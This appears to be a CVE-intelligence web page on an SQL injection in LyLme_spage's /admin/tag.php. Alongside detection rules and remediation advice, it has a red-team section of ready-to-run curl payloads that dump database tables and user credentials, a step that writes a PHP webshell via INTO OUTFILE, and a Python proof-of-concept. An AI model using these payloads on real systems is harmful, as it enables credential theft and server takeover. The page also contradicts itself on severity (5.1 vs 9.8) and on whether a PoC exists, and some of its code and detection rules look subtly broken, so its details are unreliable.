☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-9788

CVE-2024-9788 SQL Injection in Lylme_spage
📅 PUBLISHED: 2024-10-10 14:00 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.56%
👁️
0.56% probability
14.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-9788 is a critical SQL injection vulnerability discovered in LyLme_spage version 1.9.5. The flaw resides in the /admin/tag.php file, where the id parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and in some cases, remote code execution if the database server has sufficient privileges. The vendor was contacted but did not respond, and no official patch is available at this time. The exploit has been publicly disclosed, increasing the risk of active exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability does not affect a package manager ecosystem (NPM, PyPI, Go, Ruby). It is a standalone PHP application. However, users should verify the integrity of their LyLme_spage installation and consider any third-party plugins or themes that may be included.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.8 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – No authentication is needed.
  • User Interaction: None (UI:N) – The victim does not need to perform any action.
  • Scope: Unchanged (S:U) – The vulnerability does not affect other components.
  • Confidentiality Impact: High (C:H) – Full database read access is possible.
  • Integrity Impact: High (I:H) – Data can be modified or deleted.
  • Availability Impact: High (A:H) – Database can be disrupted or destroyed.

Threat Level: Critical. The combination of remote exploitability, no authentication requirement, and high impact makes this a severe threat.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the id parameter of the /admin/tag.php endpoint. The application likely constructs a SQL query similar to:

SELECT * FROM tags WHERE id = $_GET['id'];

Without proper sanitization or parameterized queries, an attacker can inject SQL commands by providing a malicious value for id. For example:

1 UNION SELECT username, password FROM users

This would return the contents of the users table alongside the legitimate tag data. The attack can be performed using simple HTTP GET requests, making it trivial to automate.

The exploit has been publicly disclosed, meaning that proof-of-concept code is available. This lowers the barrier for attackers and increases the likelihood of widespread scanning and exploitation.

Vulnerable vs. Patched Code

Vulnerable Code (LyLme_spage 1.9.5):

// /admin/tag.php
$id = $_GET['id'];
$query = "SELECT * FROM tags WHERE id = $id";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical):

// /admin/tag.php
$id = intval($_GET['id']); // Cast to integer
$query = "SELECT * FROM tags WHERE id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

The patched version uses parameterized queries (prepared statements) to ensure that user input is treated as data, not executable code. Alternatively, input validation (e.g., intval()) can be used if the parameter is expected to be an integer.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A target running LyLme_spage 1.9.5.
  • Network access to the /admin/tag.php endpoint.

Exploitation Steps:

  1. Identify the vulnerable endpoint:

    curl -v "http://target.com/admin/tag.php?id=1"
    
  2. Test for SQL injection:

    curl "http://target.com/admin/tag.php?id=1'"
    

    If an error is returned (e.g., MySQL syntax error), the endpoint is vulnerable.

  3. Extract database information:

    # Get database version
    curl "http://target.com/admin/tag.php?id=1 UNION SELECT 1,@@version,3,4-- -"
    
    # Get table names
    curl "http://target.com/admin/tag.php?id=1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- -"
    
    # Get column names from users table
    curl "http://target.com/admin/tag.php?id=1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name='users'-- -"
    
    # Dump user credentials
    curl "http://target.com/admin/tag.php?id=1 UNION SELECT 1,group_concat(username,':',password),3,4 FROM users-- -"
    
  4. Attempt to gain a shell (if database user has FILE privilege):

    # Write a webshell
    curl "http://target.com/admin/tag.php?id=1 UNION SELECT 1,'<?php system($_GET[\"cmd\"]); ?>',3,4 INTO OUTFILE '/var/www/html/shell.php'-- -"
    

Proof-of-Concept Script (Python):

import requests

target = "http://target.com/admin/tag.php"
payload = "1 UNION SELECT 1,@@version,3,4-- -"

r = requests.get(target, params={"id": payload})
print(r.text)

Blue Team (Defense & Detection)

Immediate Actions:

  1. Isolate the application: If possible, take the /admin/tag.php endpoint offline or restrict access to trusted IPs only.
  2. Apply a WAF rule: Block requests containing SQL injection patterns (e.g., UNION, SELECT, --).
  3. Monitor logs: Look for unusual GET requests to /admin/tag.php with suspicious parameters.

Detection Rules:

  • Web Application Firewall (ModSecurity) Rule:

    SecRule ARGS:id "@rx (union|select|insert|drop|delete|--)" "id:1000,phase:2,deny,status:403,msg:'SQL Injection Attempt'"
    
  • Log Analysis (Splunk/ELK):

    index=web_logs uri="/admin/tag.php" | search id=* | regex id="(union|select|--|')"
    

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP GET requests to /admin/tag.php with id parameter containing SQL keywords (e.g., UNION, SELECT, --).
    • Outbound database connections from the web server to unexpected IPs (data exfiltration).
    • Unusual files written to the web root (e.g., shell.php, cmd.php).
  • File System IOCs:

    • Presence of webshells in the web directory.
    • Modified or new files in /admin/ directory.
    • Unexpected database dump files.
  • Database IOCs:

    • Unauthorized queries to information_schema.
    • New user accounts or modified privileges.
    • Large data exports.

Detection Engineering

YARA Rule

rule CVE_2024_9788_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-9788 in LyLme_spage"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-9788"
    strings:
        $sqli1 = "union" nocase
        $sqli2 = "select" nocase
        $sqli3 = "from" nocase
        $sqli4 = "information_schema" nocase
        $sqli5 = "--" nocase
        $sqli6 = "/*" nocase
        $sqli7 = "1=1" nocase
        $sqli8 = "1=2" nocase
        $sqli9 = "or 1=1" nocase
        $sqli10 = "or 1=2" nocase
        $sqli11 = "admin/tag.php" nocase
    condition:
        any of ($sqli*) and $sqli11
}

Sigma Rule

title: SQL Injection Attempt Against LyLme_spage /admin/tag.php
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-9788
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9788
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'id='
            - 'union'
            - 'select'
            - 'from'
            - 'information_schema'
            - '--'
            - '/*'
            - '1=1'
            - '1=2'
            - 'or 1=1'
            - 'or 1=2'
        cs-uri-stem|contains: '/admin/tag.php'
    condition: selection
falsepositives:
    - Legitimate use of the word "union" in a tag name (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-9788 SQL Injection Attempt"; flow:to_server,established; content:"/admin/tag.php"; http_uri; content:"id="; http_uri; pcre:"/(union|select|from|information_schema|--|\/\*|1=1|1=2|or 1=1|or 1=2)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation (No Patch Available):

  1. Disable the vulnerable endpoint: Remove or rename /admin/tag.php if not essential.
  2. Restrict access: Use .htaccess or firewall rules to allow only trusted IPs to access /admin/ directory.
  3. Input validation: Implement server-side validation to ensure the id parameter is an integer.
  4. Web Application Firewall (WAF): Deploy a WAF with rules to block SQL injection patterns.
  5. Database hardening: Ensure the database user used by the application has minimal privileges (e.g., no FILE privilege).

Long-Term Remediation:

  1. Apply parameterized queries: Rewrite the vulnerable code to use prepared statements.
  2. Update LyLme_spage: Monitor the vendor's website for an official patch.
  3. Conduct a security audit: Review the entire codebase for similar vulnerabilities.
  4. Implement a Content Security Policy (CSP): Mitigate the impact of potential XSS attacks.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-9788/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.